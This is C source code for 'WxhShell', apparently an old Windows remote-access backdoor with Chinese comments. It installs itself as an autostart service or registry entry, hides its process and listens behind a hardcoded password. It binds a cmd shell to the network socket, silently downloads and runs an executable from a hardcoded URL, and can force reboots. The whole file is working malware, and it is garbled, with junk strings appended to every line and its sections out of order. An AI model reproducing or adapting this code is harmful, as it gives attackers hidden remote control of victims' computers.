    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0^htwec!  
    if(Boot(SHUTDOWN)) /(-X[[V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qI,4 uGg  
    else { }{<@wE%s  
    closesocket(wsh); V<f76U)  
    ExitThread(0); i}mvKV?!|1  
    } (~t/8!7N  
    break; ^|KX)g  
    } Y'6GY*dL  
  // 获取shell /8 /2#`3R  
  case 's': { h?H:r <  
    CmdShell(wsh); ,#Y>nP0  
    closesocket(wsh); GY9CU=-  
    ExitThread(0); tm27J8wPzV  
    break; ZsjDe{TH  
  } G5~ Jp#uA  
  // 退出 nY7 ZK  
  case 'x': { ! Ff/RRo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C FqteY"  
    CloseIt(wsh); u Ey>7I  
    break; }r`m(z$z  
    } Cf#[E~24  
  // 离开 (dl7+  
  case 'q': { Y> }[c   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *,Bo $:(n  
    closesocket(wsh); zX+NhTTB  
    WSACleanup(); [43:E*\$  
    exit(1); Z>GqLq\`ed  
    break; <C0~7]XO  
        } %<cfjo  
  } *^]Hqf(`  
  }  3LKL,z  
96Kv!  
  // 提示信息 Cnp\2Fu/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XD>(M{~  
} IyvJwrO  
  } f=%k9Y*)  
<1~5l ~  
  return; ]+RBykr  
} 8. 9TWsZ  
9/N=7<$  
// shell模块句柄 Hk)IV"[R  
int CmdShell(SOCKET sock) w#EP`aM2$=  
{ "PO>@tY  
STARTUPINFO si; nZ>8r  
ZeroMemory(&si,sizeof(si));  XI+m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G:TM k4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]oy>kRnb {  
PROCESS_INFORMATION ProcessInfo; wm>I;|gA)  
char cmdline[]="cmd"; ZuV/!9qU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e RiPC  
  return 0; ,A`.u\f(:  
} qF9z@a  
4RgEN!d?H  
// 自身启动模式 G 2L?j   
int StartFromService(void) L8"0o 0-  
{ ]F:5-[V#  
typedef struct +r0ItqkM  
{ Z]H`s{3  
  DWORD ExitStatus; N;4tvWI  
  DWORD PebBaseAddress; k)+2+hX&>  
  DWORD AffinityMask; q$>/~aVM  
  DWORD BasePriority; F2QX ^*  
  ULONG UniqueProcessId; &gdtI  
  ULONG InheritedFromUniqueProcessId; wBr$3:  
}   PROCESS_BASIC_INFORMATION;  iC]=S}  
FGzMbi<l#(  
PROCNTQSIP NtQueryInformationProcess; +S!gS|8P  
>_9w4g_<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [d+f#\ut  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -*;-T9  
Oy>u/g~  
  HANDLE             hProcess; qcYF&  
  PROCESS_BASIC_INFORMATION pbi; y%* hHnGd  
YKF5|;}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H=2sT+Sp  
  if(NULL == hInst ) return 0; gJYB)LjH"  
;9w: %c1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UA@(D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f=0U&~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H^UuT  
bB01aiUw@l  
  if (!NtQueryInformationProcess) return 0; eJWcrVpn  
G$b*N4yR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y#%*aV}|B  
  if(!hProcess) return 0; ?f{{{0$S  
obYXDj2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =7&2-'(@  
&PJ&XTR  
  CloseHandle(hProcess); Hggp*(AQK  
yht|0mZV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KMFvi_8  
if(hProcess==NULL) return 0; RzPqtN  
6I,^4U  
HMODULE hMod; 19.+"H  
char procName[255]; N_AAhD  
unsigned long cbNeeded; (of=hzT^?  
rGPFPsMQ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C'4gve 7!  
83rtQ ;L  
  CloseHandle(hProcess); "P4#Q_  
+&t`"lRl&  
if(strstr(procName,"services")) return 1; // 以服务启动 u} y)'eH  
 "u#T0  
  return 0; // 注册表启动 x8L$T (^  
} LQy`,-&  
s*A#;  
// 主模块 rnB-e?>  
int StartWxhshell(LPSTR lpCmdLine) DEmU},<S  
{ <B,z)c  
  SOCKET wsl; p[kEFE,%  
BOOL val=TRUE; aZK%?c  
  int port=0; ko-:) z  
  struct sockaddr_in door; NWK+.{s>m  
]xO`c  
  if(wscfg.ws_autoins) Install(); ``l7|b jJ  
|7 .WP;1  
port=atoi(lpCmdLine); JA .J~3  
v;!f  
if(port<=0) port=wscfg.ws_port; ?OW!zE:  
fU@{!;|Pz  
  WSADATA data; xj/Iq<'R*O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B]):$#{Rxl  
7WuhYJbf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HvhP9_MB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <+0TN]?  
  door.sin_family = AF_INET; ~Q  q0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *{}Y :  
  door.sin_port = htons(port); xW`,@a }  
Q?e]N I^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lIs<&-0  
closesocket(wsl); v.wHj@  
return 1; ^cQTRO|  
} 37j-FLbW  
C_c*21X  
  if(listen(wsl,2) == INVALID_SOCKET) { 4dfR}C  
closesocket(wsl); Ygwej2  
return 1; <$#;J>{WV  
} (%`R{Y  
  Wxhshell(wsl); <F~0D0G  
  WSACleanup(); ~,199K#'  
{+n0t1  
return 0; l!6^xMhYk  
uif1)y`Q$C  
} z%$,F9/  
&f2'cR  
// 以NT服务方式启动 Z?IwR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GqYE=Q  
{ l]pHj4`uv  
DWORD   status = 0; _z`g@[m:t  
  DWORD   specificError = 0xfffffff; J Iw=Bs  
,U-aZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]yvHb)X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pA ,xDs@37  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VR/*h%  
  serviceStatus.dwWin32ExitCode     = 0; 4tv}5llSG  
  serviceStatus.dwServiceSpecificExitCode = 0; DOk(5gR  
  serviceStatus.dwCheckPoint       = 0; _]g?3Gw7!  
  serviceStatus.dwWaitHint       = 0; 1:L _qL  
t%xD epFQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h5vvizruy  
  if (hServiceStatusHandle==0) return; jJ(()EJ  
!R{C  
status = GetLastError(); 82mKI+9&"  
  if (status!=NO_ERROR) //[zUn  
{ ENmfbJ4d~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v6Vd V.BI  
    serviceStatus.dwCheckPoint       = 0; X>0$zE@0  
    serviceStatus.dwWaitHint       = 0; 2swHJ.d\  
    serviceStatus.dwWin32ExitCode     = status; B~[}E]WEK  
    serviceStatus.dwServiceSpecificExitCode = specificError; H <gC{:S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bu:h_sV D  
    return; o.)8  A8  
  } #&L[?jEn  
xEX"pd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {6V;$KqH6  
  serviceStatus.dwCheckPoint       = 0; 7U:-zfq  
  serviceStatus.dwWaitHint       = 0; O@[jNs)].  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F@+FXnz  
} {  S]"-x  
tH7@oV;  
// 处理NT服务事件,比如:启动、停止 -F7GUB6B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WAzYnl'p  
{ =.*+c\  
switch(fdwControl) |H!kU.f]  
{ =vqy5y  
case SERVICE_CONTROL_STOP: -#9Hb.Q;  
  serviceStatus.dwWin32ExitCode = 0; sYt\3/yL'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n0/H2>I[  
  serviceStatus.dwCheckPoint   = 0; =th(Hdk17  
  serviceStatus.dwWaitHint     = 0; k7R8Q~4  
  { N-lo[bDJh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dKKh^D`~  
  } Z9TUaMhF  
  return; .Mn+Bd4f  
case SERVICE_CONTROL_PAUSE: eM3-S=R?<g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jbDap i<  
  break; qHAZ)Tz  
case SERVICE_CONTROL_CONTINUE: 51,RbADB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l6YToYzE2  
  break; fV 6$YCf  
case SERVICE_CONTROL_INTERROGATE: BA1|%:.   
  break; 1$Jria5n  
}; ,KM-DCwcG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {iz,iv/U  
} AK7IPftlH  
T7wy{;  
// 标准应用程序主函数 Lc0 U-!{G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [<2#C#P:6  
{ ,-4SVj8$P  
?PMF]ah  
// 获取操作系统版本 S:\a&+og  
OsIsNt=GetOsVer(); k|O?qE1hP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pl-2O $  
U c6]]Bbc  
  // 从命令行安装 5tSR2gG#K,  
  if(strpbrk(lpCmdLine,"iI")) Install(); _tl,-}~  
}I1A4=d  
  // 下载执行文件 "0,d)L0,"  
if(wscfg.ws_downexe) { \`nRgY SE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q|!}&=  
  WinExec(wscfg.ws_filenam,SW_HIDE); w<m) T  
} m|7lDfpb  
# 1S*}Q<k  
if(!OsIsNt) { DE0gd ux8  
// 如果时win9x,隐藏进程并且设置为注册表启动 xh7[{n[;  
HideProc(); /Ir|& <yB  
StartWxhshell(lpCmdLine); |GDf<\  
} &~%( RO  
else Ca&p;K9FR  
  if(StartFromService()) fs43\m4= m  
  // 以服务方式启动 ]~')OSjw  
  StartServiceCtrlDispatcher(DispatchTable); ZPM,ZGlu:  
else ?gq',F FDq  
  // 普通方式启动 qWQ7:*DL  
  StartWxhshell(lpCmdLine); BIFuQ?j3  
-w0U }Te^  
return 0; ))pp{X2m  
} mt0ZD}E  
:X?bWxOJ  
#Cwzk{p(  
<`'^rCWI?  
=========================================== &#AK#`&)0i  
.7BB*!CP  
(>E}{{>2r  
Ap{2*o  
RpAtd^I  
CL~21aslI  
" MzF9 &{N  
;AFF7N>&  
#include <stdio.h> &$'=SL(Z  
#include <string.h> LC!ZeW35  
#include <windows.h> x vi&d1  
#include <winsock2.h> C*S%aR  
#include <winsvc.h> YivWvV  
#include <urlmon.h> Ar+<n 2;[  
]>K02SVT:  
#pragma comment (lib, "Ws2_32.lib") nA!Xb'y&  
#pragma comment (lib, "urlmon.lib") /(aKhUjhb  
dHcGe{T^(  
#define MAX_USER   100 // 最大客户端连接数 +<^TyIJ0  
#define BUF_SOCK   200 // sock buffer ][ ,NNXrc&  
#define KEY_BUFF   255 // 输入 buffer 4. &t  
Y|s?9'z  
#define REBOOT     0   // 重启 cY}Nr#%s@U  
#define SHUTDOWN   1   // 关机 q ;@:,^  
Qp~W|zi(  
#define DEF_PORT   5000 // 监听端口 0 .& B  
7\BGeI  
#define REG_LEN     16   // 注册表键长度  qep<7 QO  
#define SVC_LEN     80   // NT服务名长度 j3!]wolY  
\F|L y >g  
// 从dll定义API A YC22(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !kPZuU `T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  N+<`Er  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'O\me  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R*C  
xaiA?  
// wxhshell配置信息 6.%V"l   
struct WSCFG { 3$R^tY2UU  
  int ws_port;         // 监听端口 " <GDOL  
  char ws_passstr[REG_LEN]; // 口令 m[@7!.0=  
  int ws_autoins;       // 安装标记, 1=yes 0=no \"E-z.wW=  
  char ws_regname[REG_LEN]; // 注册表键名 P]Hcg|&  
  char ws_svcname[REG_LEN]; // 服务名 STC'j1U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F-^#EkEGe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b&Dc DX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {kLL&`ii  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?c vXuxCm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &DqeO8?Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _ ]W }6?i  
{ .z6J)?J2  
}; ;'o:1{Y  
R!v ?d2  
// default Wxhshell configuration -&#H@Gyw  
struct WSCFG wscfg={DEF_PORT, #-QQ_  
    "xuhuanlingzhe", bS0z\!1  
    1, l_G&#sQ0  
    "Wxhshell", Wcgy:4K3  
    "Wxhshell", hBSci|*f  
            "WxhShell Service", Lv;R8^n  
    "Wrsky Windows CmdShell Service", ` "Gd/  
    "Please Input Your Password: ", V9v80e {n4  
  1, t^|+|>S  
  "http://www.wrsky.com/wxhshell.exe", ]-6=+\]   
  "Wxhshell.exe" SI:+I4i  
    }; {y{& tz Z  
67uUeCW  
// 消息定义模块 DhQYjC[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #+1*g4m~B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]LvpYRU$P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [*-DtbEk  
char *msg_ws_ext="\n\rExit."; ODG OWw0  
char *msg_ws_end="\n\rQuit."; \#bk$R@  
char *msg_ws_boot="\n\rReboot..."; 6 u3$ .Q  
char *msg_ws_poff="\n\rShutdown..."; [qHLo>HaL  
char *msg_ws_down="\n\rSave to "; x<  Td  
# j_<iy  
char *msg_ws_err="\n\rErr!"; P=)&]Pz  
char *msg_ws_ok="\n\rOK!"; ^#H%LLt  
uT5sLpA|6  
char ExeFile[MAX_PATH]; UMg*Yv%  
int nUser = 0; AZmABl  
HANDLE handles[MAX_USER]; Bn7~p+N  
int OsIsNt; VQ{.Ls2`Z  
=6mnXpM.  
SERVICE_STATUS       serviceStatus; >L#HE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \O"EK~x}/  
`Gl@?9,i  
// 函数声明 RH,1U3?  
int Install(void); H3=U|wr|  
int Uninstall(void); 0Ey*ci^ue  
int DownloadFile(char *sURL, SOCKET wsh); @v1f)(N  
int Boot(int flag); |[k/%  
void HideProc(void); A7~~{9  
int GetOsVer(void); E%CJM+r!  
int Wxhshell(SOCKET wsl); 3pSkk  
void TalkWithClient(void *cs); Q\H_lB  
int CmdShell(SOCKET sock); {DPobyvwFk  
int StartFromService(void); u`l1 zMk  
int StartWxhshell(LPSTR lpCmdLine); Wcy N, 5  
kfF.Ctr1a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t^h {D   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rPV\ F  
Pg3O )D9  
// 数据结构和表定义 v3(W4G`  
SERVICE_TABLE_ENTRY DispatchTable[] = bg\~"  
{ *o8DfZ  
{wscfg.ws_svcname, NTServiceMain}, e]\{ Ia  
{NULL, NULL} aqTMOWyeu  
}; EUv xil  
} k[gR I]  
// 自我安装 qDqgU  
int Install(void) ,UFr??ZKm  
{ ^L&hwXAO:  
  char svExeFile[MAX_PATH]; Y4PB&pZ$O2  
  HKEY key; ?#F}mOVAa  
  strcpy(svExeFile,ExeFile); %N!2 _uk5  
wo;`D  
// 如果是win9x系统,修改注册表设为自启动 @u./VK  
if(!OsIsNt) { d%$'Y|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y'NQt?h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sm2 |I6  
  RegCloseKey(key); Nl_Sgyx,\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xa._  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RlU=  
  RegCloseKey(key); l\W[WQP h  
  return 0; V$Y5EX  
    } h9)QQPP  
  } dm60O8  
} '-F }(9M  
else { Te`Z Qqb  
rC>')`uk  
// 如果是NT以上系统,安装为系统服务 {1^9*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u$c)B<.UR  
if (schSCManager!=0) p]*BeiT#n%  
{ <~BheGmmy  
  SC_HANDLE schService = CreateService ;Ry )^5Q  
  ( z.f~wAT@<  
  schSCManager, 2}P<}-?6  
  wscfg.ws_svcname, 'l$<DcBj  
  wscfg.ws_svcdisp, YadY?o./  
  SERVICE_ALL_ACCESS, \2!v~&S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , djVE x }  
  SERVICE_AUTO_START, eATX8`W  
  SERVICE_ERROR_NORMAL, EM+_c)d}  
  svExeFile, j|f$:j  
  NULL, fDmGgD?  
  NULL, 4'pg>;*.  
  NULL, RHo|&.B;+  
  NULL, ZbJUOa?WF  
  NULL N 3)OH6w"  
  ); iw|6w,-)C  
  if (schService!=0) pQaP9Y{OK  
  { i)V-q9\  
  CloseServiceHandle(schService); PgZ~of&  
  CloseServiceHandle(schSCManager); ^F<[5e)M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :('7ly!h  
  strcat(svExeFile,wscfg.ws_svcname); C'ZF#Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !m"(SJn"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Za{sT&(|  
  RegCloseKey(key); ,4 ftQJ  
  return 0; %=J<WA6\  
    } Z7&Bn  
  } ruM16*S{=  
  CloseServiceHandle(schSCManager); OiAi{ 71  
} w$*t.Q*  
} =R)9_D6I  
WY%LeC!t  
return 1; .$>?2|gRv  
} gP*:>[lR  
2RD os#  
// 自我卸载 IAbK]kA  
int Uninstall(void) 6=]%Y  
{ !7SZZz  
  HKEY key; ,[IN9W  
{9KG06%+  
if(!OsIsNt) { e.eQZ5n~q`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iulM8"P  
  RegDeleteValue(key,wscfg.ws_regname); TL(L[  
  RegCloseKey(key); KYY~ YP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v2 [ l$  
  RegDeleteValue(key,wscfg.ws_regname); *B(na+  
  RegCloseKey(key); ,D-VC{lj  
  return 0; UO}Kk*  
  } *ms?UFV[r  
} @9| sNS  
} i*j[j~2>C;  
else { vB, X)  
 hM2^[8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'j];tO6GfC  
if (schSCManager!=0) uQ#3;sFO  
{ |MvCEp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xz YvD{>  
  if (schService!=0) JpDc3^B*  
  { zH8l-0I+$  
  if(DeleteService(schService)!=0) { JZ&]"12]fR  
  CloseServiceHandle(schService); V ^=o@I  
  CloseServiceHandle(schSCManager); +<Ot@luE  
  return 0; mP GF Y  
  } ): C4"2l3  
  CloseServiceHandle(schService); {{ M?+]p,^  
  } +0;n t  
  CloseServiceHandle(schSCManager); .H+`]qLkL  
} 6/9 A'!4C  
} aX6.XHWbDf  
NL))!Pi  
return 1; Zk2-U"0\o  
} VF=$'Bl|  
dI&2dcumS  
// 从指定url下载文件  5I5~GH  
int DownloadFile(char *sURL, SOCKET wsh) < 2w@5qL  
{ BvpGP  
  HRESULT hr; ymybj  
char seps[]= "/"; e-f_ #!bW  
char *token; M")v ph^  
char *file; uD_|/(  
char myURL[MAX_PATH]; 39?iX'*p  
char myFILE[MAX_PATH]; T$13"?sr=  
'.oEyZA;o  
strcpy(myURL,sURL); "2(4?P  
  token=strtok(myURL,seps); CDei+ q  
  while(token!=NULL) iUqL /  
  { >:5/V0;,  
    file=token; AEm?g$a  
  token=strtok(NULL,seps); ;5-Sn(G  
  } kc `Q- N}  
nn$,|/  
GetCurrentDirectory(MAX_PATH,myFILE); D %~s  
strcat(myFILE, "\\"); >1xlP/4jx  
strcat(myFILE, file); he&*N*of:  
  send(wsh,myFILE,strlen(myFILE),0); M~;Ww-./  
send(wsh,"...",3,0); LOi5 ^Um|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pm O}m>  
  if(hr==S_OK) eu ~WFI  
return 0; 3]0ETcT  
else IZeWswz  
return 1; GEy^*, d  
9>d$a2 nc  
} SZH,I&8  
dNG>:p  
// 系统电源模块 axnkuP(  
int Boot(int flag) 71nXROB  
{ $+zev$f  
  HANDLE hToken; Q$G!-y+"i  
  TOKEN_PRIVILEGES tkp; MzsDWx;eJ  
CD%wi:C%|  
  if(OsIsNt) { (4n8[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k 61Ot3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $d?<(n  
    tkp.PrivilegeCount = 1; ?AX./LI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; # 9Z];<g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ( du<0J|PT  
if(flag==REBOOT) { OOs Y{8xM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1Ah  
  return 0; G$:T!  
} bl(rCbj(w  
else { V[Fzh\2n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xm*gH, '  
  return 0; ~c,HE] B  
} )P@t,mxW/  
  } v! uD]}  
  else { 3,e^; {w  
if(flag==REBOOT) { Hn0 ,LH$/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y^=\w?d  
  return 0; &V$_u#<  
} QRhR.:M\  
else { bNp RGhlV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a_w# ,^/P  
  return 0; l~Hs]*jm  
} ?8fa/e  
} g5lf- }?  
$fV47;U'*  
return 1; ]$!-%pNv  
} q5YgKz?IC  
f {AbCi  
// win9x进程隐藏模块 C^XJE1D.  
void HideProc(void) 0sto9n3  
{ ])egke\!  
o X )r4H?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6:i{_YX(.S  
  if ( hKernel != NULL ) QNJ )HNLp  
  { _C DUUr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]6Kx0mW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +rfw)c'  
    FreeLibrary(hKernel); a,x-akZWf  
  } y|Tb&XPD  
:w:hqe|_  
return; w4<1*u@${  
} j8WnXp_  
\I1+J9Gl  
// 获取操作系统版本 ZGf R:a)wc  
int GetOsVer(void) 3|8\,fO?  
{ Z\D!'FX  
  OSVERSIONINFO winfo; oOUL<ihe?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,1EyT>  
  GetVersionEx(&winfo); u;H SX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eb{Zm<TP  
  return 1; Tn< <i  
  else uV`r_P  
  return 0; 5Jh=${  
} ='a[(C&Y  
e<6fe-g9;  
// 客户端句柄模块 `WGT`A"  
int Wxhshell(SOCKET wsl) x hBlv  
{ ,<0R'R  
  SOCKET wsh; XT> u/Z)  
  struct sockaddr_in client; d}j%. JJK  
  DWORD myID; 3#`_t :"A  
C|bnUN  
  while(nUser<MAX_USER) x>d,\{U  
{ zBtlkBPu  
  int nSize=sizeof(client); #S)+eH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H WOs   
  if(wsh==INVALID_SOCKET) return 1; DKnjmZ:J|  
pSvRyb.K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /J )MW{;O  
if(handles[nUser]==0) A-Be}A  
  closesocket(wsh); 3&:Us| }  
else 4qXO8T#~J=  
  nUser++; $!%/Kk4M  
  } o8;>E>;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fT.18{'>  
pyYm<dn  
  return 0; ^0p y  
} N}Q%y(O^  
C?m2R(RF  
// 关闭 socket w$8Su:g=  
void CloseIt(SOCKET wsh) m1H_kJ  
{ b6Pi:!4  
closesocket(wsh); wO9|_.Z{  
nUser--; _ dEc? R}  
ExitThread(0); FOVghq@  
} /I}#0}  
:_V9Jwu  
// 客户端请求句柄 ~o_0RB  
void TalkWithClient(void *cs) >uT,Z,7O  
{ ,|6 O}E&  
FFX-kS  
  SOCKET wsh=(SOCKET)cs; 0=O(+ yi  
  char pwd[SVC_LEN]; wd*8w$\  
  char cmd[KEY_BUFF]; -d5b,leC^  
char chr[1]; CAg~K[  
int i,j; {~q"Y]?  
`u6CuH5  
  while (nUser < MAX_USER) { MIma:N_c  
UtPFkase  
if(wscfg.ws_passstr) { nX%b@cOXj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uqy&P S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =f0qih5.4  
  //ZeroMemory(pwd,KEY_BUFF); C'$w*^me  
      i=0; :0N} K}  
  while(i<SVC_LEN) { U[7 &   
S v3O${B|  
  // 设置超时 w3l2u1u  
  fd_set FdRead; m#6RJbEz  
  struct timeval TimeOut; *g7BR`Bt]z  
  FD_ZERO(&FdRead); Y\s ge  
  FD_SET(wsh,&FdRead); EMy>X  
  TimeOut.tv_sec=8; @'n07 5)h  
  TimeOut.tv_usec=0; h|~I'M]*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jMUd,j`Opx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q[?xf3  
h [*/Tnr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `%S 35x9  
  pwd=chr[0]; 'kBg3E$y  
  if(chr[0]==0xd || chr[0]==0xa) { A1>fNilC9  
  pwd=0;  wO<.wPa`  
  break; N)yCGo  
  } oVlh4"y#Lf  
  i++; h pf,44Kg  
    } PgOOFRwP  
>u?m Bx  
  // 如果是非法用户,关闭 socket +/O3L=QyJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (U@Ks )  
} _EPfeh;  
;::]R'F[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yuP1*QJ%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1N\/61+aA  
l9{}nz  
while(1) { P=3mLz-  
 T.d1?  
  ZeroMemory(cmd,KEY_BUFF); ,f*Q3 S/I  
7b8+"5~  
      // 自动支持客户端 telnet标准   2F7(Y)  
  j=0; P^'TI[\L9  
  while(j<KEY_BUFF) { :/A7Z<u,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ymvd3>_  
  cmd[j]=chr[0]; a+mrsyM  
  if(chr[0]==0xa || chr[0]==0xd) { w?#s)z4}g  
  cmd[j]=0; Cb}I-GtO  
  break; ;f?suawMv  
  } ZLI t 3  
  j++; c'|](vOd]  
    } 5aZbNV}-  
i,V,0{$  
  // 下载文件 =D~>$ Y  
  if(strstr(cmd,"http://")) { <n1panS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HQkK8'\LP  
  if(DownloadFile(cmd,wsh)) nh XVc((  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7q%xF#mK=  
  else ^sVr#T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 52,[dP,g  
  } ,,G[360  
  else { <uG6!P  
5Z@0XI  
    switch(cmd[0]) { )L/0X40<.  
  ;kD UQw  
